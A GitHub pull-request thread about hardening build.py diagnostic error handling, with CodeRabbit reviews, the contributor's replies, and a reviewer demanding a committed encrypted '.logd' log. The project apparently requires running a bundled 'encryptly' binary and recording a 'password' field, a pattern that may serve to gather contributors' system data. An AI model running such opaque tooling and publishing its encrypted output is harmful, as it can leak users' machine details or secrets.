Harden diagnostic build error handling

[Errordog2]

Closes #2.

/attempt #2

Summary

• Add traceback-rich formatting for unexpected build.py failures.
• Add safe_generate_logd(...) so diagnostic finalization errors produce fallback metadata instead of crashing and losing context.
• Route the encryptly preflight failure path and normal build completion through the safe diagnostic finalizer.
• Add run_main_safely() as a top-level CLI guard so unexpected crashes still attempt to preserve diagnostic output.

Validation

• python -m py_compile build.py
• format_exception_diagnostic(RuntimeError("sample failure"))
• Monkeypatched generate_logd to raise RuntimeError; safe_generate_logd caught it, returned False, wrote fallback diagnostic metadata, and did not crash.

Diagnostic artifacts

• Added diagnostic/build-31d15a71.json with schema-compatible validation metadata.
• Local .logd packaging was blocked by the host environment: WSL lacked libstdc++/libgcc for the bundled linux-x64 encryptly, and Windows encryptly pack exited 1 without producing a .logd. The JSON records the blocker through the standard diagnostic_logd_error field so the failure mode is explicit instead of silent.

Checklist

• Linked issue is included (Closes #2).
• Diagnostic finalization failures return gracefully without hiding build output.
• Diagnostic metadata uses the expected schema and UTF-8 without BOM.
• build.py compiles with python -m py_compile build.py.
• Fallback paths were validated with monkeypatched failure cases.

Summary by CodeRabbit

• Bug Fixes
  • Enhanced error diagnostics to capture richer exception information when builds fail, providing more detailed error reports.
  • Improved error handling to ensure diagnostic failures never obscure or hide the actual build output and errors.

[coderabbitai]

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: f3475f04-2456-4143-88c2-cfcd502571d8

📥 Commits

Reviewing files that changed from the base of the PR and between 98af8bc and 71dc4f9.

📒 Files selected for processing (2)

• build.py
• diagnostic/build-31d15a71.json

✅ Files skipped from review due to trivial changes (1)

• diagnostic/build-31d15a71.json

---

📝 Walkthrough

Walkthrough

build.py gains three new functions: format_exception_diagnostic() for traceback-rich error strings, safe_generate_logd() wrapping generate_logd() with a fallback JSON report and metadata commit on failure, and run_main_safely() as the new top-level entrypoint. All generate_logd() call sites are replaced with safe_generate_logd(), and __main__ now calls run_main_safely(). Docstrings are added to all existing helper functions. A diagnostic/build-31d15a71.json artifact is committed from a real WSL run.

Changes

Build Error Handling and Fallback Diagnostics

Layer / File(s)	Summary
Exception diagnostic helper and safe_generate_logd wrapper build.py	Adds traceback import, format_exception_diagnostic() to produce traceback-rich diagnostic strings, a docstring to generate_logd(), and safe_generate_logd() which delegates to generate_logd() but catches unexpected exceptions, writes fallback diagnostic JSON (including the formatted traceback), and attempts a metadata commit before returning False.
Call site updates and run_main_safely entrypoint build.py	Replaces both generate_logd() call sites (encryptly preflight failure path and post-build finalization) with safe_generate_logd(). Adds run_main_safely() to catch any exception escaping main(), print a red failure banner, and emit a build.py fallback diagnostic. Updates __main__ to sys.exit(run_main_safely()).
Docstrings and diagnostic artifact build.py, diagnostic/build-31d15a71.json	Adds docstrings to all existing helper functions in build.py (platform helpers, color, prerequisites, path/command formatters, build/clean/verify/run helpers, system info, report builder, and print_summary). Commits diagnostic/build-31d15a71.json recording the WSL encryptly packaging failure and three passing fallback-path checks from a real run.

Estimated code review effort

🎯 2 (Simple) | ⏱️ ~10 minutes

Poem

🐇 Hoppity-hop through the build one day,
Exceptions came leaping and went astray—
So I wrapped them in JSON, neat and tight,
A fallback diagnostic, committed right!
No crash shall escape my watchful ear,
run_main_safely keeps the output clear. 🥕

🚥 Pre-merge checks | ✅ 5

✅ Passed checks (5 passed)

Check name	Status	Explanation
Title check	✅ Passed	The title 'Harden diagnostic build error handling' clearly and concisely summarizes the main objective of adding robust error handling to the diagnostic build process.
Description check	✅ Passed	The PR description fully covers all required template sections: Summary, Changes, Testing/Validation, and a comprehensive Checklist with items marked complete.
Linked Issues check	✅ Passed	All acceptance criteria from issue #2 are met: error handling implemented via safe_generate_logd() and run_main_safely(), graceful failure modes with fallback metadata, diagnostic logging preserved through nested guards, and code follows conventions with 100% docstring coverage.
Out of Scope Changes check	✅ Passed	All changes are scoped to issue #2: build.py adds exception formatting and safe diagnostic finalization wrappers, and the diagnostic artifact documents the host environment constraint preventing .logd generation.
Docstring Coverage	✅ Passed	Docstring coverage is 100.00% which is sufficient. The required threshold is 80.00%.

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[coderabbitai]

Actionable comments posted: 4

🤖 Prompt for all review comments with AI agents

Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In `@build.py`:
- Around line 877-905: The fallback error handling path in safe_generate_logd
can still crash before returning False, defeating the safety guarantee. Wrap the
entire fallback logic starting from diagnostic_paths_for_commit through
write_diagnostic_report in an additional try-except block to catch any
exceptions that occur during diagnostic artifact creation, metadata reporting,
or artifact commitment. Ensure that regardless of whether
diagnostic_paths_for_commit, build_diagnostic_report, write_diagnostic_report,
or commit_diagnostic_artifacts succeed or fail, the function always returns
False to indicate failure gracefully.
- Around line 889-903: The fallback commit in the exception handler only stages
metadata_path with commit_diagnostic_artifacts, but it should also include any
logd_path artifacts that may have been successfully created before the error
occurred. Modify the commit_diagnostic_artifacts call to conditionally include
logd_path in the artifacts list (checking if logd_path exists) so that
diagnostic payloads are not lost when generate_logd fails partway through
execution.

In `@diagnostic/build-c72ed8a2.json`:
- Line 1: The file diagnostic/build-c72ed8a2.json contains a UTF-8 BOM (Byte
Order Mark, U+FEFF) at the very beginning before the opening brace, which causes
JSON parsing to fail when decoded with UTF-8 and passed to json.loads. Remove
the BOM character from the start of the file and save it with UTF-8 encoding
without BOM to ensure the JSON parser can successfully read the file content
starting directly with the opening brace.
- Around line 2-35: The diagnostic/build-c72ed8a2.json file has a schema
mismatch with the CI validator's expected contract. Replace the current custom
fields (logd_error, validation_status, message_blocker, pr_note, modules,
total_modules, passed, failed) with the expected fields that the CI validator
requires: diagnostic_logd, diagnostic_logd_error, and password. Ensure the JSON
structure conforms to the standard diagnostic metadata schema expected by the
build/CI pipeline validator for files named diagnostic/build-<commit>.json.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: c1448413-56c2-4ae3-b146-81251f7f7f24

📥 Commits

Reviewing files that changed from the base of the PR and between e5de93b and 98af8bc.

📒 Files selected for processing (2)

• build.py
• diagnostic/build-c72ed8a2.json

[Errordog2]

Addressed the CodeRabbit findings in the latest push:

• Wrapped the whole fallback metadata path inside a second guard so safe_generate_logd(...) still returns False if fallback metadata creation itself fails.
• Included any already-created .logd alongside fallback metadata when committing diagnostic artifacts.
• Removed the stale diagnostic/build-c72ed8a2.json file.
• Added diagnostic/build-31d15a71.json using the repo's build_diagnostic_report(...) schema (diagnostic_logd, diagnostic_logd_error, password, etc.) and verified it has no UTF-8 BOM.

Validation rerun:

• python -m py_compile build.py
• monkeypatched generate_logd failure: safe_generate_logd returned False without crashing
• monkeypatched diagnostic_paths_for_commit failure after generate_logd failed: safe_generate_logd still returned False without raising

[Errordog2]

Pushed a small follow-up for the remaining CodeRabbit pre-merge warnings:

• added docstrings across build.py; local AST check reports 31/31 functions documented (100%)
• reran python -m py_compile build.py
• confirmed the updated build.py is UTF-8 without BOM before pushing
• updated the PR description with a Checklist section and the current diagnostic/build-31d15a71.json artifact details

Commit: Errordog2/TentOfTrials@71dc4f9

[ghost]

Thanks for the PR. I found diagnostic JSON metadata, but I don't see the encrypted build diagnostic log artifact (*.logd / builds.compact) committed on this branch yet. Please rerun the build diagnostic/encryption step with the fixed encryptly tooling and commit the generated encrypted log artifact to this PR (typically under diagnostic/).

Blocking review until the encrypted diagnostic log artifact is present.